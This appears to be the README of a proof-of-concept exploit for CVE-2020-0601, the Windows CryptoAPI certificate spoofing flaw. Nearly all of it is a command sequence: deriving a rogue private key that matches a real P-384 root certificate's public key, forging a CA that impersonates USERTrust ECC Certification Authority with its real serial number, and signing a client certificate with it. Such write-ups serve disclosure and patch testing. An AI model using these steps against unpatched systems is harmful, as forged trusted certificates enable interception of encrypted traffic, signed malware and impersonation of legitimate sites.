CVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our blog post.
We used the USERTrust ECC Certification Authority but it can be any root certificate working on P-384 curve.
To generate a private key which match the public key from the root certificate we used the script gen-key.py (works with Python 3.6 and above):
$ gen-key.py RootCert.pem
The key can be displayed with:
$ openssl ec -in p384-key-rogue.pem -text
Then to generate the rogue CA:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26
With "C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority" parameters
Then we generate the following private key and certificate:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf